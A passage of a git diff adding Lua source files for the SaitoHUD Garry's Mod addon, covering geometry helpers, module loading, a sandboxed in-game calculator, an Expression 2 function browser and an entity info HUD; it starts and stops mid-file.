arg = {...} + + local instance = {} + instance._CachedVector = Vector(0, 0, 0) + instance._LastUpdate = 0 + instance._Update = function(self) + if CurTime() - self._LastUpdate ~= 0 then + local vec = v.Update(self) + if vec then self._CachedVector = vec end + end + end + + local mt = {} + mt.__index = function(t, key) + t:_Update() + local r = t._CachedVector[key] + if type(r) == 'function' then + return function(self, ...) + local arg = {...} + return self._CachedVector[key](self._CachedVector, unpack(arg)) + end + end + return r + end + mt.__add = function(a, b) return a._CachedVector.__add(a, b) end + mt.__sub = function(a, b) return a._CachedVector.__sub(a, b) end + mt.__mul = function(a, b) return a._CachedVector.__mul(a, b) end + mt.__div = function(a, b) return a._CachedVector.__div(a, b) end + mt.__mod = function(a, b) return a._CachedVector.__mod(a, b) end + mt.__pow = function(a, b) return a._CachedVector.__pow(a, b) end + + setmetatable(instance, mt) + + v.Initialize(instance, unpack(arg)) + return instance + end + } + setmetatable(v, mt) + return v +end + +--- Overrides the Vector object so that dynamic vectors can work seamlessly. +local function OverrideVectorForDynamic() + if not g_GEOMOrigVector then g_GEOMOrigVector = {} end + + local keys = { + 'Cross', 'Distance', 'Dot', 'DotProduct', '__add', '__sub', '__mul', + '__div', '__mod', '__pow' + } + + local vecMt = FindMetaTable("Vector") + + for _, key in pairs(keys) do + if not g_GEOMOrigVector[key] then + g_GEOMOrigVector[key] = vecMt[key] + end + + vecMt[key] = function(self, ...) + local arg = {...} + if type(self) == 'table' and self._CachedVector then + self = self._CachedVector + end + if type(arg[1]) == 'table' and arg[1]._CachedVector then + arg[1] = arg[1]._CachedVector + end + return g_GEOMOrigVector[key](self, unpack(arg)) + end + end + + MsgN("Vector subclassed for seamless GOEM functionality") +end + +GEOM.EntityRelVector = GEOM.MakeDynamicVectorType() + +--- Construct a vector that is relative to an entity. +-- @param x +-- @param y +-- @param z +-- @param ent Entity +function GEOM.EntityRelVector:Initialize(x, y, z, ent) + self.LocalVector = ent:WorldToLocal(Vector(x, y, z)) + self.Entity = ent +end + +--- Updates the vector. +-- @return Vector +function GEOM.EntityRelVector:Update() + if IsValid(self.Entity) then + return self.Entity:LocalToWorld(self.LocalVector) + end +end + +GEOM.Ray = SaitoHUD.MakeClass() + +--- Creates a ray (point and direction). +-- @param +function GEOM.Ray:Initialize(pt1, pt2) + self.pt1 = pt1 + self.pt2 = pt2 +end + +GEOM.Line = SaitoHUD.MakeClass() + +--- Creates a line. +-- @param +function GEOM.Line:Initialize(pt1, pt2) + self.pt1 = pt1 + self.pt2 = pt2 +end + +function GEOM.Line:__tostring() + return tostring(self.pt1) .. " -> " .. tostring(self.pt2) +end + +--- Used to get a built-in point. +-- @param key Key +-- @return Vector or nil +function GEOM.GetBuiltInPoint(key) + key = key:lower() + if key == "me" then + return SaitoHUD.GetRefPos() + elseif key == "trace" then + local tr = SaitoHUD.GetRefTrace() + return tr.HitPos + end +end + +--- Used to get a built-in line. +-- @param key Key +-- @return Line or nil +function GEOM.GetBuiltInLine(key) +end + +function GEOM.SetPoint(key, v) + GEOM.Points[key] = v +end + +function GEOM.SetLine(key, v) + GEOM.Lines[key] = v +end + +function GEOM.SetPlane(key, v) + GEOM.Planes[key] = v +end + +function GEOM.SetAngle(key, v) + if type(v) == "Angle" then v = v:Forward() end + GEOM.Angles[key] = v +end + +--- Returns the projection of a point onto a line segment in 3D space. +-- @param line +-- @param point +-- @return Distance +function GEOM.PointLineSegmentProjection(pt, line) + local a = line.pt1:Distance(line.pt1)^2 + if a == 0 then return line.pt1 end + local b = (pt - line.pt1):Dot(line.pt2 - line.pt1) / a + if b < 0 then return line.pt1 end + if b > 1 then return line.pt2 end + return line.pt1 + b * (line.pt2 - line.pt1) +end + +if subclassVector:GetBool() then + OverrideVectorForDynamic() +end \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/init.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/init.lua new file mode 100644 index 0000000..d1501ae --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/init.lua @@ -0,0 +1,126 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id: init.lua 190 2010-08-16 04:58:29Z the.sk89q $ + +local moduleLoadList = { + "util", + "listgest", + "geom", + "overlays", + "player_tags", + "sampling", + "stranded", + "sandbox", + "survey", + "measure", + "resbrowser", + "spectate", + "e2_extensions", + "entity_info", + "umsg", + "calculator", + "hook_manager", + "panel", +} + +------------------------------------------------------------ +-- Functions / build module list +------------------------------------------------------------ + +local postModules = CreateClientConVar("saitohud_modules", "", true, false):GetString() +local preModules = CreateClientConVar("saitohud_modules_pre", "", true, false):GetString() +local profile = CreateClientConVar("saitohud_profile", "0", true, false):GetBool() + +--- Load a module. +local function Load(module) + path = "saitohud/modules/" .. module .. ".lua" + if profile then + MsgN("Loading: " .. path .. "...") + end + local start = SysTime() + pcall(HeXInclude, path) + + -- Profiling + if profile then + local t = SysTime() - start + print(string.format(" >>> %.3fms", t * 1000)) + end +end + +--- Remove existing SaitoHUD hooks. +local function RemoveExistingHooks() + for name, list in pairs(hook.GetTable()) do + for k, f in pairs(list) do + if k:match("^SaitoHUD") then + list[k] = nil + end + end + end +end + +-- Modules loaded at the beginning +for _, v in pairs(string.Explode(",", preModules)) do + v = v:Trim() + if v ~= "" then table.insert(moduleLoadList, 1, v) end +end + +-- Modules loaded at the end +for _, v in pairs(string.Explode(",", postModules)) do + v = v:Trim() + if v ~= "" then table.insert(moduleLoadList, v) end +end + +------------------------------------------------------------ +-- Load +------------------------------------------------------------ + +-- Reloading check +local reloading = false +if SaitoHUD ~= nil then reloading = true end + +if reloading then + RemoveExistingHooks() +end + +SaitoHUD = {} +SaitoHUD.Reloading = reloading + +HeXInclude("saitohud/saitohud.lua") +HeXInclude("saitohud/functions.lua") +HeXInclude("saitohud/concmd.lua") +HeXInclude("saitohud/filters.lua") +HeXInclude("saitohud/friends.lua") +HeXInclude("saitohud/geom.lua") +HeXInclude("saitohud/overlays.lua") +HeXInclude("saitohud/vgui/DCustomListView.lua") +HeXInclude("saitohud/vgui/DListView_CheckboxLine.lua") + +Msg("====== Loading SaitoHUD ======\n") + +local start = SysTime() + +for _, v in pairs(moduleLoadList) do + Load(v) +end + +if profile then + local t = SysTime() - start + print(string.format("TOTAL: %.3fms", t * 1000)) +end + +Msg("==============================\n") \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/calculator.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/calculator.lua new file mode 100644 index 0000000..ba2afe4 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/calculator.lua @@ -0,0 +1,527 @@ +-- SaitoHUD +-- Copyright (c) 2009, 2010 sk89q +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +--- Calculator functions. + +------------------------------------------------------------ +-- SaitoHUDCalculator +------------------------------------------------------------ + +local PANEL = {} + +function PANEL:Init() + self.LastAnswer = 0 + self.Buffer = {} + self.BufferIndex = 0 + self.Env = {} + + self:SetTitle("SaitoHUD Calculator") + self:SetSizable(true) + self:SetSize(250, 300) + self:ShowCloseButton(true) + self:SetDraggable(true) + self:SetScreenLock(true) + + -- Make list view + self.Log = vgui.Create("DPanelList", self) + self.Log:SetPadding(3) + self.Log:SetSpacing(3) + self.Log:SetBottomUp(true) + self.Log:EnableVerticalScrollbar(true) + self.Log.Paint = function(self) + draw.RoundedBox(4, 0, 0, self:GetWide(), self:GetTall(), + color_white) + end + + local operators = {"*", "+", "-", "/", "%"} + + self.InputEntry = vgui.Create("DTextEntry", self) + self.InputEntry:SetText("") + self.InputEntry:SizeToContents() + self.InputEntry:RequestFocus() + self.InputEntry.OnTextChanged = function(panel, text) + local val = panel:GetValue() + if string.len(val) == 1 and table.HasValue(operators, val) then + panel:SetText("ans" .. val) + panel:SetCaretPos(4) + end + end + self.InputEntry.OnKeyCodeTyped = function(panel, code) + if code == KEY_ENTER and not panel:IsMultiline() and panel:GetEnterAllowed() then + panel:FocusNext() + panel:OnEnter() + end + + if #self.Buffer == 0 then return end + + if code == KEY_UP then + self.BufferIndex = self.BufferIndex - 1 + if self.BufferIndex < 1 then + self.BufferIndex = #self.Buffer + end + + local val = self.Buffer[self.BufferIndex] + panel:SetText(val) + panel:SetCaretPos(string.len(val)) + elseif code == KEY_DOWN then + self.BufferIndex = self.BufferIndex + 1 + if self.BufferIndex > #self.Buffer then + self.BufferIndex = 1 + end + + local val = self.Buffer[self.BufferIndex] + panel:SetText(val) + panel:SetCaretPos(string.len(val)) + end + end + self.InputEntry.OnEnter = function() + self:OnEnter() + end + + self.CalcBtn = vgui.Create("DButton", self) + self.CalcBtn:SetText(">") + self.CalcBtn:SetWide(20) + self.CalcBtn.DoClick = function() + self:OnEnter() + end + self.CalcBtn:SetTall(self.InputEntry:GetTall()) + + self:AddIntro() + + self:SetPos(10, ScrH() - self:GetTall() - 10) +end + +function PANEL:OnEnter() + local text = self.InputEntry:GetValue():Trim() + + -- Clear + if text == "clear" then + self.Env = {} + self.Log:Clear() + self:AddIntro() + + -- Clear memory + elseif text == "clearmem" then + self:AddInfo({"Memory cleared of " .. table.Count(self.Env) .. " variables"}) + self.Env = {} + + -- List variables + elseif text == "listmem" then + local lines = {} + for k, v in pairs(self.Env) do + table.insert(lines, k .. " = " .. v) + end + self:AddInfo(lines) + + -- Copy + elseif text == "copy" then + SetClipboardText(tostring(self.LastAnswer)) + self.InputEntry:SetText("") + self:Close() + return + + -- Quit + copy + elseif text == "qc" then + SetClipboardText(tostring(self.LastAnswer)) + self.InputEntry:SetText("") + self:Close() + return + + -- Quit + elseif text == "q" then + self.InputEntry:SetText("") + self:Close() + return + + -- Help + elseif text == "?" or text == "help" then + self:AddIntro() + + -- Evaluate + elseif text ~= "" then + self:Evaluate(text) + + -- Previous evaluation + elseif text == "" and #self.Buffer > 0 then + self:Evaluate(self.Buffer[#self.Buffer]) + end + + self.InputEntry:SetText("") + self.InputEntry:RequestFocus() +end + +function PANEL:AddEvaluation(input, output, isErr) + local line = vgui.Create("SaitoHUDCalculatorLine", self) + line:Setup(input, output, isErr) + self.Log:AddItem(line) +end + +function PANEL:Evaluate(expr) + local ret, val, env = SaitoHUD.CalcExpr(expr, self.Env) + self:AddEvaluation(expr, tostring(val), not ret) + if ret then + self.LastAnswer = val + self.Env = env + self.Env.ans = self.LastAnswer + end + + -- Remove from buffer + for k, v in pairs(self.Buffer) do + if v == expr then + table.remove(self.Buffer, k) + break + end + end + + -- Add to buffer + table.insert(self.Buffer, expr) + while #self.Buffer > 40 do + table.remove(self.Buffer, 1) + end + + self.BufferIndex = #self.Buffer + 1 +end + +function PANEL:AddIntro() + self:AddInfo({ + "clear - Clear the log and memory", + "clearmem - Clear the memory", + "listmem - List the variables", + "q - Close", + "qc - Close and copy to clipboard", + "copy - Copy to clipboard", + }) +end + +function PANEL:AddInfo(lines) + local panel = vgui.Create("SaitoHUDCalculatorInfo", self) + panel:Setup(lines) + self.Log:AddItem(panel) +end + +function PANEL:PerformLayout() + DFrame.PerformLayout(self) + + local wide = self:GetWide() + local tall = self:GetTall() + + self.Log:StretchToParent(6, 26, 6, 33) + + self.InputEntry:SetPos(6, tall - self.CalcBtn:GetTall() - 6) + self.InputEntry:SetWide(wide - self.CalcBtn:GetWide() - 15) + + self.CalcBtn:SetPos(wide - self.CalcBtn:GetWide() - 6, + tall - self.CalcBtn:GetTall() - 6) +end + +vgui.Register("SaitoHUDCalculator", PANEL, "DFrame") + +------------------------------------------------------------ +-- SaitoHUDCalculatorTextEntry +------------------------------------------------------------ + +local PANEL = {} + +function PANEL:Paint(panel) + self:DrawTextEntryText(self.m_colText, self.m_colHighlight, self.m_colCursor) +end + +function PANEL:ApplySchemeSettings() + self:SetTextColor(self.IsError and Color(200, 0, 0, 255) or Color(0, 0, 0, 255)) + self:SetHighlightColor(Color(100, 100, 100, 255)) + self:SetCursorColor(Color(0, 0, 0, 255)) +end + +vgui.Register("SaitoHUDCalculatorTextEntry", PANEL, "DTextEntry") + +------------------------------------------------------------ +-- SaitoHUDCalculatorLine +------------------------------------------------------------ + +local PANEL = {} + +function PANEL:Init() + self.CreateTime = CurTime() +end + +function PANEL:Setup(input, output, isErr) + self.Input = vgui.Create("SaitoHUDCalculatorTextEntry", self) + self.Input:SetPos(3, 2) + self.Input:SetText(input) + self.Input:SizeToContents() + + self.Output = vgui.Create("SaitoHUDCalculatorTextEntry", self) + self.Output:SetText(output) + self.Output:SizeToContents() + self.Output.IsError = isErr + + self:SetTall(self.Input:GetTall() + self.Output:GetTall() + 5) + + self.RemoveBtn = vgui.Create("DButton", self) + self.RemoveBtn:SetSize(6, self:GetTall()) + self.RemoveBtn:SetText("") + self.RemoveBtn:SetTooltip("Remove this line.") + self.RemoveBtn.DoClick = function() + self:Remove() + self:GetParent():InvalidateLayout() + end +end + +function PANEL:Paint() + local elapsed = CurTime() - self.CreateTime + local c = math.max(200, (0.7 - elapsed / 0.7) * 55 + 200) + + draw.RoundedBox(4, 0, 0, self:GetWide(), self:GetTall(), + Color(200, 200, c, 255)) + draw.RoundedBox(0, 1, self:GetTall() / 2, + self:GetWide() - 2, self:GetTall() / 2 - 2, + color_white) +end + +function PANEL:PerformLayout() + local wide = self:GetWide() + + self.RemoveBtn:SetPos(wide - self.RemoveBtn:GetWide(), 0) + self.Output:SetPos(3, self.Input:GetTall() + 3) + self.Input:SetWide(wide - 8) + self.Output:SetWide(wide - 8) +end + +vgui.Register("SaitoHUDCalculatorLine", PANEL, "DPanel") + +------------------------------------------------------------ +-- SaitoHUDCalculatorInfo +------------------------------------------------------------ + +local PANEL = {} + +function PANEL:Setup(lines) + local height = #lines * 14.5 + + self.Label = vgui.Create("SaitoHUDCalculatorTextEntry", self) + self.Label:SetPos(3, 3) + self.Label:SetText(table.concat(lines, "\n")) + self.Label:SetWide(200) + self.Label:SetMultiline(true) + self.Label:SetTall(height) + + self:SetTall(height + 6) + + self.RemoveBtn = vgui.Create("DButton", self) + self.RemoveBtn:SetSize(6, self:GetTall()) + self.RemoveBtn:SetText("") + self.RemoveBtn:SetTooltip("Remove this line.") + self.RemoveBtn.DoClick = function() + self:Remove() + self:GetParent():InvalidateLayout() + end +end + +function PANEL:Paint() + draw.RoundedBox(4, 0, 0, self:GetWide(), self:GetTall(), + Color(200, 200, 255, 255)) +end + +function PANEL:PerformLayout() + local wide = self:GetWide() + + if self.Label then + self.Label:SetWide(wide - 6) + self.RemoveBtn:SetPos(wide - self.RemoveBtn:GetWide(), 0) + end +end + +vgui.Register("SaitoHUDCalculatorInfo", PANEL, "DPanel") + +------------------------------------------------------------ + +local function SetError(f, err) + setfenv(f, { _err = err }) + error("Exception occurred") + -- Cannot use Error()! +end + +local function MakeHook(f, maxLines, recursionLimit, maxTime) + local lines = 0 + local calls = 0 + local start = 0 + + return function(evt) + if start == 0 then start = os.clock() end + if os.clock() - start > maxTime then SetError(f, "Time limit hit") end + if evt == "line" then + lines = lines + 1 + if lines > maxLines then SetError(f, "Line limit hit") end + elseif evt == "call" then + calls = calls + 1 + if calls > recursionLimit then SetError(f, "Recursion limit hit") end + elseif evt == "return" then + calls = calls - 1 + end + end +end + +--- Calculates a mathematical expression securely. +-- @param str Expression +-- @return Success or not +-- @return Error message or result +function SaitoHUD.CalcExpr(str, vars) + local setVar = "_result" + local code = "_result = " .. str + + -- Detect attempts at setting a variable + local m = string.match(str, "^([A-Za-z_][A-Za-z0-9_]*) *=") + if m then + setVar = m + code = str + end + + -- Compile code; note that the error is caught in the current version + -- of Gmod (it's a bug) + local ret, err = pcall(CompileString, code, "calc") + if not ret or type(err) ~= 'function' then + return false, "Parsing error" + end + + local f = err + local missingVars = {} + local missingVarsIndex = {} + + -- Build the environment + local env = { + abs = math.abs, + acos = math.acos, + asin = math.asin, + atan = math.atan, + ceil = math.ceil, + cos = math.cos, + cosh = math.cosh, + deg = math.deg, + exp = math.exp, + floor = math.floor, + fmod = math.fmod, + ln = math.log, + log = math.log, + log10 = math.log10, + max = math.max, + min = math.min, + pow = math.pow, + rad = math.rad, + rand = math.random, + sin = math.sin, + sinh = math.sinh, + sqrt = math.sqrt, + tanh = math.tanh, + tan = math.tan, + + pi = math.pi, + inf = math.huge, + e = 2.718281828459, + gr = 1.618033988749, + } + + setmetatable(env, { + __index = function(t, k) + if not missingVarsIndex[k] then + table.insert(missingVars, k) + missingVarsIndex[k] = true + end + return 0 + end, + }) + + -- Keep track of the standard environment so we can get rid of it + local stdEnvKeys = {} + for k, v in pairs(env) do + stdEnvKeys[k] = true + end + + -- Add in the provided environment + if vars then + for k, v in pairs(vars) do + env[k] = v + end + end + + setfenv(f, env) + + -- Workaround for coroutine issues + for i = 1, 3 do + -- Run in a coroutine so we can set a runtime checks + local co = coroutine.create(f) + debug.sethook(co, MakeHook(f, 100, 5, 0.1), "crl") + local ret, succ, err = pcall(coroutine.resume, co) -- Gmod has issues + + if ret then + -- Check for missing variables + if #missingVars == 1 then + return false, string.format("'%s' is undefined", missingVars[1]) + elseif #missingVars > 1 then + return false, string.format("%s are undefined", + table.concat(missingVars, ", ")) + elseif succ then + local retEnv = getfenv(f) + local cleaned = {} + + for k, v in pairs(retEnv) do + if not stdEnvKeys[k] and k ~= "_result" then + if type(v) ~= 'function' and type(v) ~= 'number' then + v = 0 + end + cleaned[k] = v + end + end + + return true, tonumber(retEnv[setVar]) or 0, cleaned + else + local exceptionError = getfenv(f)._err + if exceptionError == 0 then exceptionError = nil end + return false, exceptionError or err + end + end + end + + -- Failure + return false, "Internal error 1" +end + +------------------------------------------------------------ + +concommand.Add("calculator", function() + if g_SaitoHUDCalculator and g_SaitoHUDCalculator:IsValid() then + local frame = g_SaitoHUDCalculator + -- Reload protection + if frame.SaitoHUDRef ~= SaitoHUD then + frame:Remove() + else + frame:SetVisible(true) + frame.InputEntry:RequestFocus() + return + end + end + + local frame = vgui.Create("SaitoHUDCalculator") + frame:GetDeleteOnClose(false) + frame:MakePopup() + frame.SaitoHUDRef = SaitoHUD + frame.Close = function() + frame:SetVisible(false) + end + g_SaitoHUDCalculator = frame + +end) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/e2_extensions.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/e2_extensions.lua new file mode 100644 index 0000000..920ee44 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/e2_extensions.lua @@ -0,0 +1,279 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local e2ExtensionsWindow + +local readableTypes = { + ["n"] = "number", + ["xv2"] = "vector2", + ["v"] = "vector3", + ["xv4"] = "vector4", + ["a"] = "angle", + ["s"] = "string", + ["e"] = "entity", + ["r"] = "array", + ["t"] = "table", + ["xrd"] = "rangerdata", + ["b"] = "bone", + ["xm2"] = "matrix2", + ["m"] = "matrix3", + ["xm4"] = "matrix4", + ["xwl"] = "wirelink", + ["c"] = "complex", + ["q"] = "quaternion", + ["g"] = "generic", + ["xcd"] = "code", + ["f"] = "function", +} + +--- Turn the arguments into a list of readable ones. +-- @param args +-- @Param argNames Table of argument names +local function MakeReadableArgs(args, argNames) + if args == "..." then return args end + argNames = argNames or {} + + local text = {} + + local i = 1 + local argNameK = 97 + + while i <= string.len(args) do + local char = args:sub(i, i) + local dataType + + if char == "x" then + dataType = args:sub(i, i + 2) + i = i + 3 + elseif char == "." then + dataType = args:sub(i, i + 2) + i = i + 3 + else + dataType = char + i = i + 1 + end + + if dataType ~= "..." then + local argName = argNames[i] + if not argName then + argName = string.char(argNameK) + argNameK = argNameK + 1 + end + + table.insert(text, (readableTypes[dataType] or dataType) .. " " .. argName) + else + table.insert(text, dataType) + end + end + + return string.Implode(", ", text) +end + +--- Writes the standard function list. +function SaitoHUD.WriteE2StandardFuncs() + local data = "" + for signature, _ in pairs(wire_expression2_funcs) do + data = data .. signature .. "\n" + end + file.Write("saitohud/e2_std_funcs.txt", data, "DATA") +end + +--- Populates the function list. +-- @param lst List panel +local function PopulateE2ExtensionsList(lst) + local data = file.Read("saitohud/e2_std_funcs.txt", "DATA") + local standardFunctions = {} + + if data then + local lines = string.Explode("\n", data) + for _, v in pairs(lines) do + v = v:Trim() + if v ~= "" then + standardFunctions[v] = true + end + end + end + + for signature, info in pairs(wire_expression2_funcs) do + local cls, args + local func, inner = signature:match("([^%(]+)%((.*)%)") + + -- Index set function + if not func:find("op:") and not standardFunctions[signature] then + -- Try to extract the class and arguments + if inner:find(":") then + local res = string.Explode(":", inner) + cls, args = res[1], res[2] + else + cls = "" + args = inner + end + + local text = string.format("%s %s(%s)", + info[2] ~= "" and (readableTypes[info[2]] or info[2]) or "", + (readableTypes[cls] and readableTypes[cls] .. ":" or cls) .. + func, MakeReadableArgs(args, info.argnames)) + + lst:AddLine(info[2] ~= "" and (readableTypes[info[2]] or info[2]) or "", + readableTypes[cls] and readableTypes[cls] .. ":" or cls, + func .. "()", + MakeReadableArgs(args, info.argnames), signature, text:Trim()) + end + end +end + +--- Prints the function list. +-- @param lst List panel +local function DumpE2ExtensionsList(lst) + local data = file.Read("saitohud/e2_std_funcs.txt", "DATA") + local standardFunctions = {} + + if data then + local lines = string.Explode("\n", data) + for _, v in pairs(lines) do + v = v:Trim() + if v ~= "" then + standardFunctions[v] = true + end + end + end + + local funcs = {} + + for signature, info in pairs(wire_expression2_funcs) do + local cls, args + local func, inner = signature:match("([^%(]+)%((.*)%)") + + -- Index set function + if not func:find("op:") and not standardFunctions[signature] then + -- Try to extract the class and arguments + if inner:find(":") then + local res = string.Explode(":", inner) + cls, args = res[1], res[2] + else + cls = "" + args = inner + end + + local text = string.format("%s %s(%s)", + info[2] ~= "" and (readableTypes[info[2]] or info[2]) or "", + (readableTypes[cls] and readableTypes[cls] .. ":" or cls) .. + func, MakeReadableArgs(args, info.argnames)) + + table.insert(funcs, { + info[2] ~= "" and (readableTypes[info[2]] or info[2]) or "void", + readableTypes[cls] and readableTypes[cls] .. ":" or cls, + func, + MakeReadableArgs(args, info.argnames) + }) + end + end + + table.SortByMember(funcs, 3, function(a, b) return a > b end) + + local out = "" + + for _, v in pairs(funcs) do + local text = string.format("%s%s%s(%s)\n", + v[1], v[2], v[3], v[4] == "" and "" or " " .. v[4] .. " ") + out = out .. text + end + + file.Write("saitohud_dump_e2_funcs.txt", out, "DATA") +end + +--- Opens the E2 extensions window. +function SaitoHUD.OpenE2Extensions() + if not wire_expression2_funcs then + Derma_Message("This server does not have Expression 2.", "Error", "OK") + return + end + + if e2ExtensionsWindow then + e2ExtensionsWindow:SetVisible(true) + e2ExtensionsWindow:MakePopup() + e2ExtensionsWindow:InvalidateLayout(true, true) + return + end + + local frame = vgui.Create("DFrame") + e2ExtensionsWindow = frame + frame:SetTitle("Expression 2 Extensions") + frame:SetDeleteOnClose(false) + frame:SetScreenLock(true) + frame:SetSize(math.min(600, ScrW() - 20), ScrH() * 4/5) + frame:SetSizable(true) + frame:Center() + frame:MakePopup() + + -- Make information box + local info = vgui.Create("DLabel", frame) + info:SetText("") + info:SetWrap(true) + info:SetAutoStretchVertical(true) + + -- Make list view + local funcs = vgui.Create("DListView", frame) + funcs:SetMultiSelect(false) + funcs:AddColumn("Return"):SetFixedWidth(80) + funcs:AddColumn("Class"):SetFixedWidth(80) + funcs:AddColumn("Function") + funcs:AddColumn("Arguments") + PopulateE2ExtensionsList(funcs) + + funcs.OnRowSelected = function(lst, index) + local line = lst:GetLine(index) + info:SetText(line:GetValue(6)) + end + + funcs.OnRowRightClick = function(lst, index, line) + local menu = DermaMenu() + menu:AddOption("Copy Function Name", function() + local line = lst:GetLine(index) + SetClipboardText(line:GetValue(3)) + end) + menu:AddOption("Copy Signature", function() + local line = lst:GetLine(index) + SetClipboardText(line:GetValue(6)) + end) + menu:AddOption("Copy Raw Signature", function() + local line = lst:GetLine(index) + SetClipboardText(line:GetValue(5)) + end) + menu:Open() + end + + -- Make divider + local divider = vgui.Create("DVerticalDivider", frame) + divider:SetTopHeight(ScrH() * 4/5 - 50) + divider:SetTop(funcs) + divider:SetBottom(info) + + -- Layout + local oldPerform = frame.PerformLayout + frame.PerformLayout = function() + oldPerform(frame) + divider:StretchToParent(10, 28, 10, 10) + end + + frame:InvalidateLayout(true, true) +end + +concommand.Add("e2_extensions", function() SaitoHUD.OpenE2Extensions() end) +concommand.Add("dump_e2_extensions", DumpE2ExtensionsList) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/entity_info.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/entity_info.lua new file mode 100644 index 0000000..edc90ad --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/entity_info.lua @@ -0,0 +1,47 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local drawEntityInfo = CreateClientConVar("entity_info", "1", true, false) +local showPlayerInfo = CreateClientConVar("entity_info_player", "0", true, false) +local EntinfoHight = CreateClientConVar("entity_info_hight", 0.3, true, false) + +local function EntityInfoPaint() + if SaitoHUD.Gesturing then return end + + local lines = SaitoHUD.GetEntityInfoLines( + showPlayerInfo:GetBool(), + drawEntityInfo:GetBool() + ) + + if table.Count(lines) > 0 then + local color = color_white + + local yOffset = ScrH() * EntinfoHight:GetFloat() + for _, s in pairs(lines) do + draw.SimpleText(s, "TabLarge", ScrW() - 16, yOffset, color, 2, ALIGN_TOP) + yOffset = yOffset + 14 + end + end +end + +SaitoHUD.HookOnCvar("entity_info", "SaitoHUD.EntityInfo", { + HUDPaint = EntityInfoPaint +}) + +concommand.Add("dump_info", function() SaitoHUD.DumpEntityInfo() end) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/geom.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/geom.lua new file mode 100644 index 0000000..223751c --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/geom.lua @@ -0,0 +1,220 @@ +-- SaitoHUD +-- Copyright (c) 2009, 2010 sk89q +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + + +surface.CreateFont("DefaultBold", { + font = "Tahoma", + size = 13, + weight = 1000, + antialias = true, + additive = false, + } +) + + + +local autoLive = CreateClientConVar("geom_auto_live", "0", true, false) + +local GEOM = SaitoHUD.GEOM + +------------------------------------------------------------ +-- Drawing +------------------------------------------------------------ + +local function DrawCross(pt) + local scr = pt:ToScreen() + + surface.DrawLine(scr.x - 7, scr.y, scr.x + 7, scr.y) + surface.DrawLine(scr.x, scr.y - 7, scr.x, scr.y + 7) +end + +local function DetermineScale(pt) + return math.Clamp(4.6988 * math.exp(0.0006 * SaitoHUD.GetRefPos():Distance(pt)), 5, 40) +end + +local function Draw3DCross(pt, dir) + local scale = DetermineScale(pt) + local ang = dir:Angle() + local topScr = (pt + ang:Up() * scale):ToScreen() + local bottomScr = (pt - ang:Up() * scale):ToScreen() + local rightScr = (pt + ang:Right() * scale):ToScreen() + local leftScr = (pt- ang:Right() * scale):ToScreen() + surface.DrawLine(topScr.x, topScr.y, bottomScr.x, bottomScr.y) + surface.DrawLine(leftScr.x, leftScr.y, rightScr.x, rightScr.y) +end + +local function Draw3DArrow(pt, dir) + local scale = DetermineScale(pt) + local ang = dir:Angle() + local centerScr = pt:ToScreen() + local topScr = (pt + ang:Up() * scale - ang:Forward() * scale):ToScreen() + local bottomScr = (pt - ang:Up() * scale 